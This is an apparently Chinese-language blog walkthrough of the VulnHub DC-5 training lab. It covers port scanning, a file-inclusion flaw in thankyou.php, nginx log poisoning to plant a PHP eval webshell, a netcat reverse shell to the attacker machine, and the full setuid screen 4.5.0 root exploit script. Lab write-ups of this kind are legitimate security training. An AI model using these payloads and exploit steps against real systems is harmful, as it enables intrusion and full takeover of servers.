[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-5 通关详解 (附靶机搭建教程)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

一、环境搭建:

1、靶场描述

DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).
As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide some kind of idea as to what the vulnerability might involve.
And just for the record, there is no phpmailer exploit involved. :-)
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
But if you're really, really stuck, you can watch this video which shows the first step.

只有一个flag

2、下载靶场环境

靶场下载地址:

https://www.vulnhub.com/entry/dc-5,314/

下载下来的文件如下
在这里插入图片描述

3、启动靶场环境

下载下来是虚拟机压缩文件,直接用Vmvare导入就行。

在这里插入图片描述

设置虚拟机名称

在这里插入图片描述

导入中

在这里插入图片描述

导入完成之后打开后把网络模式设置为NAT模式。

在这里插入图片描述

虚拟机开启之后界面如下,我们不知道ip,需要自己探活,网段知道:192.168.233.0/24

在这里插入图片描述

二、渗透靶场

1、目标:

目标就是我们搭建的靶场,靶场IP为:192.168.233.0/24

2、信息收集:寻找靶机真实IP

使用nmap进行探活,寻找靶机ip

nmap -sP 192.168.233.0/24

在这里插入图片描述

也可以使用arp-scan进行探活,寻找靶机ip

arp-scan -l

在这里插入图片描述

本机ip为192.168.233.130
所以分析可得靶机ip为192.168.233.181

192.168.233.1		vm8网卡
192.168.233.2		网关
192.168.233.181	靶机
192.168.233.254	DHCP服务器
192.168.233.130	kali本机

3、信息收集:探端口及服务

使用nmap探活端口

nmap -A -p- -v 192.168.233.180

在这里插入图片描述
在这里插入图片描述

发现开放了80端口,存在web服务,nginx 1.6.2
发现开放了111端口,rpcbind 2-4
发现开放了48338端口

也可以使用masscan探活端口
masscan --rate=10000 --ports 0-65535 192.168.233.181

在这里插入图片描述

然后进行web指纹识别

whatweb -v 192.168.233.181

在这里插入图片描述

4、访问web服务

http://192.168.233.181/

在这里插入图片描述

发现有一个留言板,随便输入一下并提交

http://192.168.233.181/contact.php

在这里插入图片描述

提交完成之后发现切入点
页面跳转到Thankyou.php,并且在URL地址栏可以看到参数,GET方式传参

http://192.168.233.181/thankyou.php?firstname=AAAAA&lastname=BBBBB&country=australia&subject=CCCCC

在这里插入图片描述

突然发现这儿变成2017了,之前好像是2019

在这里插入图片描述

琢磨琢磨,最后发现,只要一刷新页面,就会变,猜想存在文件包含

在这里插入图片描述

5、bp爆破确认存在文件包含

使用BurpSuite抓包,爆破后台页面,由于是php站,我们选择php字典

在这里插入图片描述

导入一个php字典,进行爆破

在这里插入图片描述

发现存在index.php,solutions.php,about-us.php,faq.php,contact.php,thankyou.php,footer.php七个页面

在这里插入图片描述

打开这几个页面,发现发开footer.php时,不断刷新,图标也在不断地变化,确认文件包含页面是footer.php

http://192.168.233.181/footer.php

在这里插入图片描述

6、Fuzz确认存在文件包含漏洞

使用BurpSuite爆破文件包含的变量名即可能被包含的值

http://192.168.220.139/thankyou.php?page=footer.php

选择草叉模式进行爆破,选择两个爆破点,一个是文件包含变量名,一个是包含值

在这里插入图片描述

导入第一个字典,变量名字典

在这里插入图片描述

导入第二个字典(passwd路径字典)

在这里插入图片描述

成功爆破出八对值,但是只有一个变量名

在这里插入图片描述

/thankyou.php?file=%2e%2e%2fetc%2fpasswd

访问最短的吧路径,成功包含到字典

http://192.168.233.181/thankyou.php?file=%2fetc%2fpasswd
http://192.168.233.181/thankyou.php?file=/etc/passwd

在这里插入图片描述

7、确认日志文件的位置

由于前面信息收集我们确认了是nginx的站,访问日志和错误日志应该如下
Web日志目录及日志分析

/var/log/nginx/access.log
/var/log/nginx/error.log

包含看一下

http://192.168.233.181/thankyou.php?file=/var/log/nginx/error.log

在这里插入图片描述

在这里插入图片描述

8、写入一句话木马

这里是接着之前来的,但是由于网络环境发生了变化
ip由192.168.233.181变成了192.168.233.184

1.写入phpinfo

写入phpinfo
访问如下日志文件,使用burpsuite抓包

http://192.168.233.184/thankyou.php?file=/var/log/nginx/access.log

向日志文件中写入phpinfo一句话木马

GET <?php phpinfo();?> HTTP/1.1

在这里插入图片描述

重新打开日志文件可以看到成功写入,成功回显出phpinfo信息

在这里插入图片描述

2.写入webshell

采用<?php @eval($_REQUEST[powershell])?>替换上面的<?php phpinfo();?>就OK。

GET <?php @eval($_REQUEST[powershell])?> HTTP/1.1

在这里插入图片描述

3.蚁剑成功连接webshell

输入url和密码

http://192.168.233.184/thankyou.php?file=/var/log/nginx/access.log
Powershell

点击右上角测试连接,发现连接成功

在这里插入图片描述

点击左上角的添加数据

在这里插入图片描述

成功添加数据双击进入文件系统

在这里插入图片描述

9、新建shell文件

可以在服务器/tmp目录下新建一个powershell.php文件,写入一句话木马并重新连接

1.创建powershell.php文件

右键在tmp目录下新建php文件,名称为powershell.php。

在这里插入图片描述

2.写入webshell

双击powershell.txt进入编辑模式,写入shell并保存。

hello-world!!!
<?php
@eval($_REQUEST[powershell])
?>

在这里插入图片描述

3.访问一下新建的shell

我们采用之前发现的文件包含漏洞包含我们新建的shell就可以访问到shell,我们的shell有输出,在页面下方可以看到我们的输出hello-world!!!。

http://192.168.233.184/thankyou.php?file=/tmp/powershell.php

在这里插入图片描述

4.蚁剑连接新的webshell

蚁剑重新连接webshell,右键添加数据,填入url以及密码,url就是我们新建的shell地址。

http://192.168.233.184/thankyou.php?file=/tmp/powershell.php
powershell

在这里插入图片描述

连接成功右键进入虚拟终端

在这里插入图片描述

10、反弹shell到kali

蚁剑终端不如kali终端,我们反弹shell到kali

1.kali上监听

nc -lnvp 55555 

在这里插入图片描述

2.靶机执行shell反弹命令

nc -e /bin/bash 192.168.233.130 55555

在这里插入图片描述

3.反弹shell成功

进入kali,发现反弹shell成功,执行id命令
这个shell有些不方便,需要进入交互式shell

在这里插入图片描述

4.进入交互式shell

这里使用python进入交互式shell,命令如下

python -c "import pty;pty.spawn('/bin/bash')"

成功进入交互式shell

在这里插入图片描述

11、suid提权

使用find命令,查找具有suid权限的命令

1.发现screen-4.5.0

发现screen-4.5.0,使用41145.sh脚本提权
GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。
GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。
下面两条命令都行

find / -user root -perm -4000 -print 2>/dev/null 
find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

接下来查找可用于screen 4.5.0的漏洞脚本文件

2.查找screen 4.5.0漏洞脚本文件

searchsploit screen 4.5.0

在这里插入图片描述

我们发现有两个发现screen 4.5.0 存在本地特权提升的漏洞,我们利用第一个,将脚本复制到本目录下

cp /usr/share/exploitdb/exploits/linux/local/41154.sh ./41154.sh

在这里插入图片描述

3.查看cat 41154.sh脚本文件

查看cat 41154.sh脚本文件

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

在这里插入图片描述

4.将第一部分内容写到libhax.c并编译

按照脚本提示,先将第一部分内容写到libhax.c中(一共有三个部分)
创建一个文件夹存放三个部分的脚本

mkdir dc-5
cd dc-5

在这里插入图片描述

创建libhax.c文件,用vim编辑,当然,也可以直接使用vim创建文件

touch libhax.c
vim libhax.c

写入如下文件

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

在这里插入图片描述

确认文件写入成功

cat libhax.c

在这里插入图片描述

然后编译这个脚本

gcc -fPIC -shared -ldl -o libhax.so libhax.c

在这里插入图片描述

查看编译生成的os文件

在这里插入图片描述

5.将第二部分的代码写入rootshell.c并编译

将第二部分的代码写入rootshell.c文件并执行命令生成rootshell文件
这里我直接采用vim创建文件

vim rootshell.c

写入如下内容

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

确认文件写入成功

cat rootshell.c

在这里插入图片描述

编译.c文件

gcc -fPIC -shared -ldl -o rootshell.so rootshell.c

在这里插入图片描述

6.将第三部分代码写入dc5.sh文件

将最后一部分代码写入dc5.sh文件中。需要注意的是,需要在文件开头写入#!/bin/bash表示执行环境。最后保存是需要输入:set ff=unix是为了防止脚本的格式错误。

#!/bin/bash
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell 
:set ff=unix

在这里插入图片描述

完成3个步骤后之间把三个文件上传至靶机的/tmp文件下,然后执行./dc5即可提权。
将这三个文件传到靶机

在这里插入图片描述

这里我把不要的删除

rm -rf libhax.c
rm -rf rootshell.c
rm -rf rootshell.so

在这里插入图片描述

7.上传文件到靶机

把三个文件上传至靶机的/tmp文件下,这里讲解三种思路

1、利用蚁剑上传

打开蚁剑,打开连接,进入文件系统,进入/tmp目录,右键选择文件上传就行了。
在这里插入图片描述

2、利用卡里启服务靶机访问上传

可以在kali里面相应文件目录下起一个服务,比如说python服务

python -m http.server 80

然后靶机采用curl获取文件就行

curl http://攻击机IP/文件名

这里我没有尝试,只提供一种思路,如果下载不下来可以尝试在服务端将文件打包

3、利用SCP从攻击机取文件

靶机shell中执行如下命令从攻击机取文件,需要注意的是,需要开放22端口

scp -r root@192.168.233.130:/root/dc-5 /tmp/dc-5
scp -r root@攻击机IP:文件所在绝对路径 目的地绝对路径

8.执行dc5.sh

在shell中切换到/tmp目录下(dc5.sh所在目录)

在这里插入图片描述

注意给dc5.sh加执行权限

chmod +x dc5.sh
chmod 777 dc5.sh

在这里插入图片描述

拿到root用户,成功提权
在root目录下拿到flag

在这里插入图片描述

三、相关资源

1、靶场下载地址
2、nmap
3、文中用到的字典
4、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell
5、[ 常用工具篇 ] burpsuite_pro 安装配置详解(附安装包)
6、简谈SUID提权
7、实现交互式shell的几种方式
8、masscan
9、[ 常用工具篇 ] AntSword 蚁剑安装及使用详解
10、Web日志目录及日志分析

  • 8
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 9
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_PowerShell

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值